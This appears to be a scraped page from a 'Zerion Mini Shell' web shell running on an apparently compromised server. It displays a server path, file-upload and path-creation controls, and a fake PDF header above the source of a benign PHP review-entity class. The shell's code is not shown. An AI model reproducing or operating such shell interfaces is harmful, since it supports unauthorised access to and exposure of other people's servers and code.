%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/bbw/farmaci/kritik-portale/module/ReviewBase/src/ReviewBase/Entity/
Upload File :
Create Path :
Current File : /var/www/html/bbw/farmaci/kritik-portale/module/ReviewBase/src/ReviewBase/Entity/ReviewEntity.php

<?php

/**
 * Description of ReviewEntity
 *
 * @author Rene Winkler ( conlabz GmbH ) <rene.winkler@conlabz.de>
 */

namespace ReviewBase\Entity;

class ReviewEntity
{        
    protected $entityid;
    protected $userid;
    protected $objectid;
    protected $created_at;
    protected $last_modified;
    protected $ratings;
    protected $comment;
    protected $comment_status;
    protected $comment_modify_date;    
    protected $comment_review_date;
    protected $comment_delete_from;
    protected $answer;
    protected $answer_author;
    protected $answer_status;
    protected $answer_modify_date;
    protected $answer_review_date;
    protected $answer_delete_from;
    protected $helpful_count;
    protected $not_helpful_count;
    protected $helpful_votes;
    
    public function __get($property)
    {
        return $this->$property;
    }

    public function __set($property, $value)
    {
        $this->$property = $value;
    }

    public function existProperty($property)
    {
        return property_exists($this, $property);
    }

    public function exchangeArray(array $array)
    {
        foreach(array_keys($array) as $column)
        {
            $this->$column = $array[$column];
        }
    }

    public function getArrayCopy()
    {
        return get_object_vars($this);
    }
    
}

Zerion Mini Shell 1.0